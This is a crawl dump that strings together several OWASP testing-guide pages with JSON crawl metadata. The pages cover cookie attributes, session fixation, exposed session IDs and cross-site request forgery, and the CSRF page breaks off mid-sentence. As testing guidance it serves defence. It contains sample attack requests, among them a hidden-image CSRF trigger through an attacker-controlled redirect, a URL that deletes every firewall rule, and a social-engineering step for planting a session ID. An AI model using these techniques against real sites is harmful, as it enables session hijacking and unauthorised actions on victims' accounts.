configurations are being implemented.\n\n## How to Test\n\nBelow, a description of every attribute and prefix will be discussed. The tester should validate that they are being used properly by the application. Cookies can be reviewed by using an intercepting proxy, or by reviewing the browser’s cookie jar.\n\n#### Secure Attribute\n\nThe [`Secure`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Secure) attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as `HTTPS`. This will help protect the cookie from being passed in unencrypted requests. If the application can be accessed over both `HTTP` and `HTTPS`, an attacker could be able to redirect the user to send their cookie as part of non-protected requests.\n\n#### HttpOnly Attribute\n\nThe [`HttpOnly`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#HttpOnly) attribute is used to help prevent attacks such as session leakage, since it does not allow the cookie to be accessed via a client side script such as JavaScript.\n\n> This doesn’t limit the whole attack surface of XSS attacks, as an attacker could still send request in place of the user, but limits immensely the reach of XSS attack vectors.\n\n#### Domain Attribute\n\nThe [`Domain`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute is used to compare the cookie’s domain against the domain of the server for which the HTTP request is being made. If the domain matches or if it is a subdomain, then the `path` attribute will be checked next.\n\nNote that only hosts that belong to the specified domain can set a cookie for that domain. Additionally, the `domain` attribute cannot be a top level domain (such as `.gov` or `.com`) to prevent servers from setting arbitrary cookies for another domain (such as setting a cookie for `owasp.org`). If the domain attribute is not set, then the host name of the server that generated the cookie is used as the default value of the `domain`.\n\nFor example, if a cookie is set by an application at `app.mydomain.com` with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for `app.mydomain.com` and its subdomains (such as `hacker.app.mydomain.com`), but not to `otherapp.mydomain.com`. If a developer wanted to loosen this restriction, then he could set the `domain` attribute to `mydomain.com`. In this case the cookie would be sent to all requests for `app.mydomain.com` and `mydomain.com` subdomains, such as `hacker.app.mydomain.com`, and even `bank.mydomain.com`. If there was a vulnerable server on a subdomain (for example, `otherapp.mydomain.com`) and the `domain` attribute has been set too loosely (for example, `mydomain.com`), then the vulnerable server could be used to harvest cookies (such as session tokens) across the full scope of `mydomain.com`.\n\n#### Path Attribute\n\nThe [`Path`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute plays a major role in setting the scope of the cookies in conjunction with the `domain`. In addition to the domain, the URL path that the cookie is valid for can be specified. If the domain and path match, then the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave the application vulnerable to attacks by other applications on the same server. For example, if the path attribute was set to the web server root `/`, then the application cookies will be sent to every application within the same domain (if multiple application reside under the same server). A couple of examples for multiple applications under the same server:\n\n- `path=/bank`\n- `path=/private`\n- `path=/docs`\n- `path=/docs/admin`\n\n#### Expires Attribute\n\nThe [`Expires`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Permanent_cookies) attribute is used to:\n\n- set persistent cookies\n- limit lifespan if a session lives for too long\n- remove a cookie forcefully by setting it to a past date\n\nUnlike [session cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Session_cookies), persistent cookies will be used by the browser until the cookie expires. Once the expiration date has exceeded the time set, the browser will delete the cookie.\n\n#### SameSite Attribute\n\nThe [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies) attribute is used to assert that a cookie ought not to be sent along with cross-site requests. This feature allows the server to mitigate the risk of cross-orgin information leakage. In some cases, it is used too as a risk reduction (or defense in depth mechanism) strategy to prevent [cross-site request forgery](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) attacks. This attribute can be configured in three different modes:\n\n- `Strict`\n- `Lax`\n- `None`\n\n##### Strict Value\n\nThe `Strict` value is the most restrictive usage of `SameSite`, allowing the browser to send the cookie only to first-party context without top-level navigation. In other words, the data associated with the cookie will only be sent on requests matching the current site shown on the browser URL bar. The cookie will not be sent on requests generated by third-party websites. This value is especially recommended for actions performed at the same domain. However, it can have some limitations with some session management systems negatively affecting the user navigation experience. Since the browser would not send the cookie on any requests generated from a third-party domain or email, the user would be required to sign in again even if they already have an authenticated session.\n\n##### Lax Value\n\nThe `Lax` value is less restrictive than `Strict`. The cookie will be sent if the URL equals the cookie’s domain (first-party) even if the link is coming from a third-party domain. This value is considered by most browsers the default behavior since it provides a better user experience than the `Strict` value. It doesn’t trigger for assets, such as images, where cookies might not be needed to access them.\n\n##### None Value\n\nThe `None` value specifies that the browser will send the cookie on cross-site requests (the normal behavior before the implementation of `SamseSite`) only if the `Secure` attribute is also used, *e.g.* `SameSite=None; Secure`. It is a recommended value, instead of not specifying any `SameSite` value, as it forces the use of the `secure` attribute.\n\nBy design cookies do not have the capabilities to guarantee the integrity and confidentiality of the information stored in them. Those limitations make it impossible for a server to have confidence about how a given cookie’s attributes were set at creation. In order to give the servers such features in a backwards-compatible way, the industry has introduced the concept of [`Cookie Name Prefixes`](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) to facilitate passing such details embedded as part of the cookie name.\n\n#### Host Prefix\n\nThe [`__Host-`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes) prefix expects cookies to fulfill the following conditions:\n\n1. The cookie must be set with the `Secure` attribute .\n2. The cookie must be set from a URI considered secure by the user agent.\n3. Sent only to the host who set the cookie and MUST NOT include any `Domain` attribute .\n4. The cookie must be set with the `Path`attribute with a value of `/` so it would be sent to every request to the host.\n\nFor this reason, the cookie `Set-Cookie: __Host-SID=12345; Secure; Path=/` would be accepted while any of the following ones would always be rejected:\n`Set-Cookie: __Host-SID=12345` `Set-Cookie: __Host-SID=12345; Secure` `Set-Cookie: __Host-SID=12345; Domain=site.example` `Set-Cookie: __Host-SID=12345; Domain=site.example; Path=/` `Set-Cookie: __Host-SID=12345; Secure; Domain=site.example; Path=/`\n\n#### Secure Prefix\n\nThe [`__Secure-`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes) prefix is less restrictive and can be introduced by adding the case-sensitive string `__Secure-` to the cookie name. Any cookie that matches the prefix `__Secure-` would be expected to fulfill the following conditions:\n\n1. The cookie must be set with the `Secure` attribute.\n2. The cookie must be set from a URI considered secure by the user agent.\n\n### Strong Practices\n\nBased on the application needs, and how the cookie should function, the attributes and prefixes must be applied. The more the cookie is locked down, the better.\n\nPutting all this together, we can define the most secure cookie attribute configuration as: `Set-Cookie: __Host-SID=; path=/; Secure; HttpOnly; SameSite=Strict`.\n\n## Tools\n\n### Intercepting Proxy\n\n- [OWASP Zed Attack Proxy Project](https://www.zaproxy.org)\n- [Web Proxy Burp Suite](https://portswigger.net)\n\n### Browser Plug-in\n\n- [Tamper Data for FF Quantum](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/)\n- [“FireSheep” for FireFox](https://github.com/codebutler/firesheep)\n- [“EditThisCookie” for Chrome](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en)\n- [“Cookiebro - Cookie Manager” for FireFox](https://addons.mozilla.org/en-US/firefox/addon/cookiebro/)\n\n## References\n\n- [RFC 2965 - HTTP State Management Mechanism](https://tools.ietf.org/html/rfc2965)\n- [RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1](https://tools.ietf.org/html/rfc2616)\n- [Same-Site Cookies - draft-ietf-httpbis-cookie-same-site-00](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00)\n- [The important “expires” attribute of Set-Cookie](https://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html)\n- [HttpOnly Session ID in URL and Page Body](https://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11592, "slov": 1672, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:32", "sha256": "486a044ea424d7ce1a8e487c9750dba18fc8973a8e6c4cafaa4218d334fa06b5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00", "https://www.zaproxy.org/", "https://portswigger.net/", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/", "https://github.com/codebutler/firesheep", "https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en", "https://addons.mozilla.org/en-US/firefox/addon/cookiebro/", "https://tools.ietf.org/html/rfc2965", "https://tools.ietf.org/html/rfc2616", "https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00", "https://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html", "https://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Session Fixation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing for Session Fixation Vulnerabilities"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Session Fixation\n\n| ID |\n| --- |\n| WSTG-SESS-03 |\n\n## Summary\n\nWhen an application does not renew its session cookie(s) after a successful user authentication, it could be possible to find a session fixation vulnerability and force a user to utilize a cookie known by the attacker. In that case, an attacker could steal the user session (session hijacking).\n\nSession fixation vulnerabilities occur when:\n\n- A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.\n- An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session.\n\nIn the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to authenticate against the server using the same session identifier, giving the attacker access to the user’s account through the active session.\n\nFurthermore, the issue described above is problematic for sites that issue a session identifier over HTTP and then redirect the user to a HTTPS log in form. If the session identifier is not reissued upon authentication, the attacker can eavesdrop and steal the identifier and then use it to hijack the session.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Testing for Session Fixation Vulnerabilities\n\nThe first step is to make a request to the site to be tested (*e.g.* `www.example.com`). If the tester requests the following:\n\n`GET www.example.com`\n\nThey will obtain the following answer:\n\n```\nHTTP/1.1 200 OK\nDate: Wed, 14 Aug 2008 08:45:11 GMT\nServer: IBM_HTTP_Server\nSet-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure\nCache-Control: no-cache=\"set-cookie,set-cookie2\"\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html;charset=Cp1254\nContent-Language: en-US\n```\n\nThe application sets a new session identifier JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 for the client.\n\nNext, if the tester successfully authenticates to the application with the following POST HTTPS:\n\n```\nPOST https://www.example.com/authentication.php HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://www.example.com\nCookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1\nContent-Type: application/x-www-form-urlencoded\nContent-length: 57\n\nName=Meucci&wpPassword=secret!&wpLoginattempt=Log+in\n```\n\nThe tester observes the following response from the server:\n\n```\nHTTP/1.1 200 OK\nDate: Thu, 14 Aug 2008 14:52:58 GMT\nServer: Apache/2.2.2 (Fedora)\nX-Powered-By: PHP/5.1.6\nContent-language: en\nCache-Control: private, must-revalidate, max-age=0\nX-Content-Encoding: gzip\nContent-length: 4090\nConnection: close\nContent-Type: text/html; charset=UTF-8\n...\nHTML data\n...\n```\n\nAs no new cookie has been issued upon a successful authentication the tester knows that it is possible to perform session hijacking.\n\n> The tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.\n\n### Gray-Box Testing\n\nTalk with developers and understand if they have implemented a session token renew after a user successful authentication.\n\n> The application should always first invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another sessionID.\n\n## Tools\n\n- [JHijack - a numeric session hijacking tool](https://sourceforge.net/projects/jhijack/)\n- [OWASP ZAP](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- [Session Fixation](https://owasp.org/www-community/attacks/Session_fixation)\n- [ACROS Security](https://www.acrossecurity.com/papers/session_fixation.pdf)\n- [Chris Shiflett](http://shiflett.org/articles/session-fixation)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4353, "slov": 568, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:33", "sha256": "220175a19da296c7466a71e173126096cd05fce69fdcd50d01c52f8992ef89e3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://sourceforge.net/projects/jhijack/", "https://www.zaproxy.org/", "https://www.acrossecurity.com/papers/session_fixation.pdf", "http://shiflett.org/articles/session-fixation", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Exposed Session Variables"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Encryption & Reuse of Session Tokens Vulnerabilities"}, {"uroven": 3, "text": "Testing for Proxies & Caching Vulnerabilities"}, {"uroven": 3, "text": "Testing for GET & POST Vulnerabilities"}, {"uroven": 3, "text": "Testing for Transport Vulnerabilities"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Exposed Session Variables\n\n| ID |\n| --- |\n| WSTG-SESS-04 |\n\n## Summary\n\nThe Session Tokens (Cookie, SessionID, Hidden Field), if exposed, will usually enable an attacker to impersonate a victim and access the application illegitimately. It is important that they are protected from eavesdropping at all times, particularly whilst in transit between the client browser and the application servers.\n\nThe information here relates to how transport security applies to the transfer of sensitive Session ID data rather than data in general, and may be stricter than the caching and transport policies applied to the data served by the site.\n\nUsing a personal proxy, it is possible to ascertain the following about each request and response:\n\n- Protocol used (e.g., HTTP vs. HTTPS)\n- HTTP Headers\n- Message Body (e.g., POST or page content)\n\nEach time Session ID data is passed between the client and the server, the protocol, cache, and privacy directives and body should be examined. Transport security here refers to Session IDs passed in GET or POST requests, message bodies, or other means over valid HTTP requests.\n\n## How to Test\n\n### Testing for Encryption & Reuse of Session Tokens Vulnerabilities\n\nProtection from eavesdropping is often provided by SSL encryption, but may incorporate other tunneling or encryption. It should be noted that encryption or cryptographic hashing of the Session ID should be considered separately from transport encryption, as it is the Session ID itself being protected, not the data that may be represented by it.\n\nIf the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate that risk. It should therefore be ensured that encryption is both the default and enforced for any request or response where the Session ID is passed, regardless of the mechanism used (e.g., a hidden form field). Simple checks such as replacing `https://` with `http://` during interaction with the application should be performed, together with modification of form posts to determine if adequate segregation between the secure and non-secure sites is implemented.\n\nNote that if there is also an element to the site where the user is tracked with Session IDs but security is not present (e.g., noting which public documents a registered user downloads) it is essential that a different Session ID is used. The Session ID should therefore be monitored as the client switches from the secure to non-secure elements to ensure a different one is used.\n\n> Every time the authentication is successful, the user should expect to receive:\n> \n> - A different session token\n> - A token sent via encrypted channel every time they make an HTTP Request\n\n### Testing for Proxies & Caching Vulnerabilities\n\nProxies must also be considered when reviewing application security. In many cases, clients will access the application through corporate, ISP, or other proxies or protocol aware gateways (e.g., Firewalls). The HTTP protocol provides directives to control the behavior of downstream proxies, and the correct implementation of these directives should also be assessed.\n\nIn general, the Session ID should never be sent over unencrypted transport and should never be cached. The application should be examined to ensure that encrypted communications are both the default and enforced for any transfer of Session IDs. Furthermore, whenever the Session ID is passed, directives should be in place to prevent its caching by intermediate and even local caches.\n\nThe application should also be configured to secure data in caches over both HTTP/1.0 and HTTP/1.1 – RFC 2616 discusses the appropriate controls with reference to HTTP. HTTP/1.1 provides a number of cache control mechanisms. `Cache-Control: no-cache` indicates that a proxy must not re-use any data. Whilst `Cache-Control: Private` appears to be a suitable directive, this still allows a non-shared proxy to cache data. In the case of web-cafes or other shared systems, this presents a clear risk. Even with single-user workstations the cached Session ID may be exposed through a compromise of the file-system or where network stores are used. HTTP/1.0 caches do not recognise the `Cache-Control: no-cache` directive.\n\n> The `Expires: 0` and `Cache-Control: max-age=0` directives should be used to further ensure caches do not expose the data. Each request/response passing Session ID data should be examined to ensure appropriate cache directives are in use.\n\n### Testing for GET & POST Vulnerabilities\n\nIn general, GET requests should not be used, as the Session ID may be exposed in Proxy or Firewall logs. They are also far more easily manipulated than other types of transport, although it should be noted that almost any mechanism can be manipulated by the client with the right tools. Furthermore, [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) attacks are most easily exploited by sending a specially constructed link to the victim. This is far less likely if data is sent from the client as POSTs.\n\n> All server side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET. For example, consider the following POST request generated by a log in page.\n> \n> ```\n> POST http://owaspapp.com/login.asp HTTP/1.1\n> Host: owaspapp.com\n> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0\n> Accept: */*\n> Accept-Language: en-us, en\n> Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\n> Keep-Alive: 300\n> Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG\n> Cache-Control: max-age=0\n> Content-Type: application/x-www-form-urlencoded\n> Content-Length: 34\n> \n> Login=Username&password=Password&SessionID=12345678\n> ```\n> \n> If login.asp is badly implemented, it may be possible to log in using the following URL: `http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678`\n> \n> Potentially insecure server-side scripts may be identified by checking each POST in this way.\n\n### Testing for Transport Vulnerabilities\n\nAll interaction between the Client and Application should be tested at least against the following criteria.\n\n- How are Session IDs transferred? e.g., GET, POST, Form Field (including hidden fields)\n- Are Session IDs always sent over encrypted transport by default?\n- Is it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS?\n- What cache-control directives are applied to requests/responses passing Session IDs?\n- Are these directives always present? If not, where are the exceptions?\n- Are GET requests incorporating the Session ID used?\n- If POST is used, can it be interchanged with GET?\n\n## References\n\n### Whitepapers\n\n- [RFCs 2109 & 2965 – HTTP State Management Mechanism [D. Kristol, L. Montulli]](https://www.ietf.org/rfc/rfc2965.txt)\n- [RFC 2616 – Hypertext Transfer Protocol - HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6969, "slov": 1050, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:34", "sha256": "04ef89bd73d540b0df7618ba588851fca8c75a47041cfcf01e2861f1c28247c8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.ietf.org/rfc/rfc2965.txt", "https://www.ietf.org/rfc/rfc2616.txt", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Cross Site Request Forgery"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Cross Site Request Forgery\n\n| ID |\n| --- |\n| WSTG-SESS-05 |\n\n## Summary\n\nCross-Site Request Forgery ([CSRF](https://owasp.org/www-community/attacks/csrf)) is an attack that forces an end user to execute unintended actions on a web application in which they are currently authenticated. With a little social engineering help (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.\n\nCSRF relies on:\n\n1. Web browser behavior regarding the handling of session-related information such as cookies and HTTP authentication information.\n2. An attacker’s knowledge of valid web application URLs, requests, or functionality.\n3. Application session management relying only on information known by the browser.\n4. Existence of HTML tags whose presence cause immediate access to an HTTP[S] resource; for example the image tag `img` .\n\nPoints 1, 2, and 3 are essential for the vulnerability to be present, while point 4 facilitates the actual exploitation, but is not strictly required.\n\n1. Browsers automatically send information used to identify a user session. Suppose *site* is a site hosting a web application, and the user *victim* has just authenticated to *site* . In response, *site* sends *victim* a cookie that identifies requests sent by *victim* as belonging to *victim’s* authenticated session. Once the browser receives the cookie set by *site* , it will automatically send it along with any further requests directed to *site* .\n2. If the application does not make use of session-related information in URLs, then the application URLs, their parameters, and legitimate values may be identified. This may be accomplished by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML or JavaScript.\n3. “Known by the browser” refers to information such as cookies or HTTP-based authentication information (such as Basic Authentication and not form-based authentication), that are stored by the browser and subsequently present at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications that rely entirely on this kind of information to identify a user session.\n\nFor simplicity’s sake, consider GET-accessible URLs (though the discussion applies as well to POST requests). If *victim* has already authenticated themselves, submitting another request causes the cookie to be automatically sent with it. The figure below illustrates the user accessing an application on `www.example.com`.\n\n*Figure 4.6.5-1: Session Riding*\n\nThe GET request could be sent by the user in several different ways:\n\n- Using the web application\n- Typing the URL directly in the browser\n- Following an external link that points to the URL\n\nThese invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques and vulnerabilities that can disguise the real properties of a link. The link can be embedded in an email message, appear in a malicious website to which the user is lured, or appear in content hosted by a third-party (such as another web site or HTML email) and point to a resource of the application. If the user clicks on the link, since they are already authenticated by the web application on *site*, the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation being performed on the web application that the user does not expect; for example, a funds transfer on a web banking application.\n\nBy using a tag such as `img`, as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing them to visit a URL referring to a page containing the following (oversimplified) HTML.\n\n```\n \n...\n\n...\n \n```\n\nWhen the browser displays this page, it will try to display the specified zero-dimension (thus, invisible) image from `https://www.company.example` as well. This results in a request being automatically sent to the web application hosted on *site*. It is not important that the image URL does not refer to a proper image, as its presence will trigger the request `action` specified in the `src` field anyway. This happens provided that image download is not disabled in the browser. Most browsers do not have image downloads disabled since that would cripple most web applications beyond usability.\n\nThe problem here is a consequence of:\n\n- HTML tags on the page resulting in automatic HTTP request execution ( `img` being one of those).\n- The browser having no way to tell that the resource referenced by `img` is not a legitimate image.\n- Image loading that happens regardless of the location of the alleged image source, i.e., the form and the image itself need not be located on the same host or even the same domain.\n\nThe fact that HTML content unrelated to the web application may refer to components in the application, and the fact that the browser automatically composes a valid request towards the application, allows this kind of attack. There is no way to prohibit this behavior unless it is made impossible for the attacker to interact with application functionality.\n\nIn integrated mail/browser environments, simply displaying an email message containing the image reference would result in the execution of the request to the web application with the associated browser cookie. Email messages may reference seemingly valid image URLs such as:\n\n```\n \n```\n\nIn this example, `[attacker]` is a site controlled by the attacker. By utilizing a redirect mechanism, the malicious site may use `http://[attacker]/picture.gif` to direct the victim to `http://[thirdparty]/action` and trigger the `action`.\n\nCookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This does not include form-based authentication, which occurs just once and generates some form of session-related information, usually a cookie.\n\nLet’s suppose that the victim is logged on to a firewall web management console. To log in, a user has to authenticate themselves and session information is stored in a cookie.\n\nLet’s suppose the firewall web management console has a function that allows an authenticated user to delete a rule specified by its numerical ID, or all the rules in the configuration if the user specifies `*` (a dangerous feature in reality, but one that makes for a more interesting example). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request. To delete rule number one:\n\n`https://[target]/fwmgt/delete?rule=1`\n\nTo delete all rules:\n\n`https://[target]/fwmgt/delete?rule=*`\n\nThis example is intentionally naive, but shows in a simplified way the dangers of CSRF.\n\n*Figure 4.6.5-2: Session Riding Firewall Management*\n\nUsing the form pictured in the figure above, entering the value `*` and clicking the Delete button will submit the following GET request:\n\n`https://www.company.example/fwmgt/delete?rule=*`\n\nThis would delete all firewall rules.\n\n*Figure 4.6.5-3: Session Riding Firewall Management 2*\n\nThe user might also have accomplished the same results by manually submitting the URL:\n\n`https://[target]/fwmgt/delete?rule=*`\n\nOr by following a link pointing, directly or via a 